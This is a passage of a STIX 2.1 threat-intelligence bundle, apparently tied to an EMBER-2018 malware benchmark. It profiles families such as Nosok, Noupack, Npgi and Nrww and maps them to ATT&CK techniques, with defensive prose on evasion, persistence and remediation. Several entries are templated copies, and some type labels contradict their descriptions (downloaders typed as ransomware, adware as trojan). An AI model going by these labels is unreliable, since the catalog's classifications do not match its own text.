      "id": "relationship--386eb4da-87f9-5f47-812a-a2b4134a352b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0971669e-8178-53e2-a2ec-45f3c3d30663",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noonlight exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c89403c0-c04a-5b4f-9fe8-da151173ca43",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0971669e-8178-53e2-a2ec-45f3c3d30663",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noonlight exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a63c90cf-964e-5afa-9a50-4578bea3ff0f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0971669e-8178-53e2-a2ec-45f3c3d30663",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noonlight exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--913a4e89-0d04-5427-bb0a-a5e512caa274",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0971669e-8178-53e2-a2ec-45f3c3d30663",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noonlight exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--99f00f03-05e3-5b6b-883e-45128e679298",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--0971669e-8178-53e2-a2ec-45f3c3d30663",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noonlight exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e1a486e5-d59a-5238-8990-c98950ffbaa2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nosok",
      "description": "Trojan:Win32/Nosok is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nosok</b><br>To an end-user, a Nosok infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nosok is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nosok is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nosok frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nosok reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nosok",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nosok"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9e54bc9e-3a2a-5e5f-a30a-29cd1fb6b994",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a486e5-d59a-5238-8990-c98950ffbaa2",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nosok exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7918dca2-d6ff-5efc-8132-5a660c765609",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a486e5-d59a-5238-8990-c98950ffbaa2",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nosok exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5b0fcc8a-9acb-51d4-b2f4-f383ab5469f3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a486e5-d59a-5238-8990-c98950ffbaa2",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nosok exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f541fdb-45f6-5fde-a7a1-08ad0f865ace",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a486e5-d59a-5238-8990-c98950ffbaa2",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nosok exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7faadbcd-d928-5e24-95ee-617b10f760c8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e1a486e5-d59a-5238-8990-c98950ffbaa2",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nosok exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a8ab65bd-05be-5ed0-b4be-91695cfbba2b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nottotrack",
      "description": "<h3>Executive Summary</h3>\nNotToTrack is an ironically named Adware and Spyware application. While its name implies privacy protection or anti-tracking capabilities, the software actually does the exact opposite. It is a Potentially Unwanted Program (PUP) designed to deeply embed itself into web browsers, aggressively track user behavior, and inject intrusive advertisements to generate affiliate revenue for its creators.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNotToTrack is primarily distributed via deceptive software bundling. Users typically encounter it when downloading freeware from third-party aggregators, where the adware is installed silently or via confusing opt-out screens during the primary software's setup.\n\nOnce installed, the software employs highly aggressive tracking and injection tactics:\n<ul>\n<li><strong>Pervasive Telemetry and Spyware:</strong> The core function of NotToTrack is data harvesting. It installs persistent Browser Helper Objects (BHOs) that record every URL visited, search queries entered, and links clicked. This highly detailed browsing profile is transmitted to remote, third-party advertising servers.</li>\n<li><strong>Aggressive Browser Hijacking:</strong> The adware forcefully modifies the default homepage, search engine, and new tab page across Chrome, Firefox, and Edge, routing all traffic through affiliate-monetized portals.</li>\n<li><strong>DOM Manipulation and Ad Injection:</strong> NotToTrack intercepts the rendering of legitimate websites, injecting its own JavaScript to overlay pages with pop-up ads, sliding banners, and in-text hyperlinks. It often replaces legitimate ads on sites with its own, stealing revenue from content creators.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nNotToTrack poses a severe threat to user privacy, system stability, and productivity. The constant ad injection consumes significant CPU and RAM resources, leading to browser crashes, and the pervasive tracking represents a significant violation of corporate and personal privacy policies.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Targeted Anti-Malware Scan:</strong> Standard antivirus often ignores PUPs/Adware. Utilize a reputable enterprise anti-malware solution to scan for and remove the deeply embedded registry keys and the core NotToTrack installer files.</li>\n<li><strong>Browser Factory Reset:</strong> Simply disabling the extension is rarely sufficient, as NotToTrack often uses watchdog processes to reinstall itself. Following the removal of the underlying files, a full factory reset of all installed web browsers is absolutely required to purge any remaining malicious extensions or modified search preferences.</li>\n<li><strong>Security Awareness:</strong> Educate users on the dangers of downloading software from unofficial third-party aggregators and the deceptive nature of bundled software.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Adware.NotToTrack",
        "PUP.NotToTrack",
        "Spyware.Tracker"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nottotrack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nottotrack"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--bb658991-4d2b-51b7-810b-d65ad77709f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8ab65bd-05be-5ed0-b4be-91695cfbba2b",
      "target_ref": "attack-pattern--6fa87c46-0565-5b5a-889d-44254001e763",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nottotrack exhibits technique T1185 (Browser Session Hijacking (Ad injection and tracking))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5ecc6516-6aaf-5fb3-aff2-9d49647ca747",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8ab65bd-05be-5ed0-b4be-91695cfbba2b",
      "target_ref": "attack-pattern--dbcdb63c-3a8a-513b-a873-7b9d45a44f59",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nottotrack exhibits technique T1176 (Browser Extensions)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--272e7fb5-8201-5a0a-994d-91600a40b688",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a8ab65bd-05be-5ed0-b4be-91695cfbba2b",
      "target_ref": "attack-pattern--c3628f86-de8f-507d-a3a8-73c0a63c90c4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nottotrack exhibits technique T1546.015 (Event Triggered Execution: Component Object Model Hijacking)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--334cae01-b5ec-539f-abe2-f964800830ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Noupack",
      "description": "<h3>Executive Summary</h3>\nNoupack is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable backdoor and downloader for remote threat actors. The name \"Noupack\" often refers specifically to the custom, proprietary packing/obfuscation techniques used by the malware authors to hide the core payload from static antivirus detection.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNoupack is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Noupack operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>De-obfuscation and Execution:</strong> The initial Noupack executable is heavily packed. Upon execution in memory, it unpacks itself to reveal the true malicious payload, effectively bypassing traditional, signature-based antivirus scanning that only inspects the file on disk.</li>\n<li><strong>Persistence:</strong> Noupack ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Noupack receives instructions from a command-and-control (C2) server to silently download and execute secondary malware. This frequently includes info-stealers (to harvest credentials), botnet agents, or enterprise ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Noupack infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Static scanning is often ineffective against packed malware. Configure EDR solutions to monitor for anomalous registry modifications, unauthorized outbound network connections, and in-memory execution anomalies.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint. Conduct a thorough forensic sweep to identify not only the Noupack executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Noupack often facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Noupack",
        "Packed.Noupack",
        "Win32/Noupack"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Noupack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/noupack"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7074f254-b053-5132-9004-825426ec180e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--334cae01-b5ec-539f-abe2-f964800830ea",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noupack exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--185f1313-df94-5df6-baef-b50b4043b6f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--334cae01-b5ec-539f-abe2-f964800830ea",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noupack exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5060248a-baa5-5958-892f-e77c746b0eb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--334cae01-b5ec-539f-abe2-f964800830ea",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Noupack exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--7375d3ca-a7ae-5b4f-800e-192f976c94d3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Npack",
      "description": "Behavior:Win32/Npack is a generic heuristic detection that flags executables utilizing custom, unknown, or highly suspicious software packers (`T1027.002`). While packing is sometimes used by legitimate software for DRM or compression, malware authors aggressively utilize runtime packers (like UPX modifications, Themida, or custom stubs) to obfuscate their code, compress the payload, and completely evade signature-based antivirus scanning.<br><br><b>Understanding Npack (Software Packing)</b><br>To an end-user, an Npack detection is just a standard AV alert blocking a file execution. For a malware analyst, Npack indicates that the true nature of the executable is hidden. The file on disk is merely a 'stub' (a decompression/decryption routine); the actual malicious payload only exists in memory after execution. This is a primary Defense Evasion tactic.<br><br><b>Execution and Evasion Mechanics</b><br>When an Npack-flagged file is executed (`T1204.002`), the entry point of the application points to the packing stub. This stub allocates memory, decrypts or decompresses the hidden payload into that memory space (`T1055`), resolves the necessary Windows APIs dynamically, and then redirects execution flow to the newly unpacked malware. This prevents traditional AV scanners from reading the malware's strings or identifying its signature before it is already running.<br><br><b>Indicators of Compromise & Impact</b><br>The impact depends entirely on what payload is hidden inside the packer. Host-based IoCs include EDR alerts for 'Suspicious API Resolution' (e.g., excessive use of `LoadLibrary` and `GetProcAddress`) or 'Memory Allocation/Execution Anomalies' indicating that a process is running code from memory regions that are not backed by a file on disk. The detection of high-entropy (highly randomized) sections within a PE file is a primary indicator. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Npack",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/npack"
        }
      ],
      "labels": [
        "advanced_threat",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a0d18678-06ce-5349-8891-d9b125a28373",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7375d3ca-a7ae-5b4f-800e-192f976c94d3",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Npack exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f5e2c8c-b25a-53cb-9972-ac56e38cbe8a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7375d3ca-a7ae-5b4f-800e-192f976c94d3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Npack exhibits technique T1055 (Process Injection (Often used to execute the unpacked payload))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--44a4846f-b856-5d14-9b82-6b887eaf593a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--7375d3ca-a7ae-5b4f-800e-192f976c94d3",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Npack exhibits technique T1106 (Native API (Dynamic resolution via GetProcAddress))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--85c00db7-c13a-57dc-bf77-0577b4f25e3b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Npgi",
      "description": "<h3>Executive Summary</h3>\nNpgi is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nNpgi is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Npgi operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Npgi ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Npgi receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nAn Npgi infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Npgi executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Npgi frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Npgi",
        "Downloader.Npgi",
        "Win32/Npgi"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Npgi",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/npgi"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1c658e32-58e5-5812-be41-9f66cf0edce9",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85c00db7-c13a-57dc-bf77-0577b4f25e3b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Npgi exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--79d8492a-59ce-52de-87a9-d711c0e5234c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85c00db7-c13a-57dc-bf77-0577b4f25e3b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Npgi exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--020325e1-cc17-5c09-8bad-4044aa802d22",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--85c00db7-c13a-57dc-bf77-0577b4f25e3b",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Npgi exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--29444116-d268-5f20-9ab4-3d6509c11f35",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Nrww",
      "description": "Trojan:Win32/Nrww is a persistent, stealthy trojan designed to breach endpoint defenses and securely deliver secondary, high-severity payloads like ransomware, banking trojans, and botnet agents, or act as a persistent backdoor.<br><br><b>Understanding Nrww</b><br>To an end-user, a Nrww infection is typically invisible until the devastating secondary payload executes. For threat intelligence analysts, Nrww is a critical staging mechanism. It functions as an 'Initial Access Broker' tool. Its primary objective is to securely bypass endpoint defenses, profile the infected machine to ensure it is not a sandbox, and reach out to a Command-and-Control (C2) server to pull down the final, destructive payload.<br><br><b>Execution and Evasion Strategies</b><br>Nrww is commonly distributed via massive malspam campaigns containing weaponized attachments (like ZIP files or Office macros) or through exploit kits. Upon execution, it utilizes heavy packing and dynamic API resolution to evade static antivirus signatures. It drops a randomized executable into the `%Temp%` or `%AppData%` directory. It establishes persistence by creating a hidden scheduled task or modifying the Registry Run keys. Nrww frequently injects its downloading routine into legitimate system processes (like `explorer.exe` or `svchost.exe`) to mask its outbound network traffic.<br><br><b>Indicators of Compromise (IoCs)</b><br>Threat hunters should investigate EDR alerts related to 'Suspicious Process Injection' or 'Anomalous Child Process Spawning'. Network logs will often reveal Nrww reaching out to compromised domains using encrypted HTTPS traffic. The presence of unexpected, hidden scheduled tasks designed to execute randomly named binaries in the user's profile is a strong IoC. Memory analysis is necessary to extract the injected downloader modules and determine what payloads were requested. (Observed samples in benchmark: 7)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Nrww",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/nrww"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3465afb1-b1c0-560a-8283-ff20c6edfa2a",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29444116-d268-5f20-9ab4-3d6509c11f35",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nrww exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--27939270-1927-5024-9b08-4893610ed091",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29444116-d268-5f20-9ab4-3d6509c11f35",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nrww exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3a5ea657-4213-5a9b-a19f-ec7b12950cb8",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29444116-d268-5f20-9ab4-3d6509c11f35",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nrww exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a7fd26c7-c616-5ffd-8f65-ec684b5f2450",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29444116-d268-5f20-9ab4-3d6509c11f35",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Nrww exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1b2a5e06-ba7c-5a0c-9ad2-283dff7f9f5b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--29444116-d268-5f20-9ab4-3d6509c11f35",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
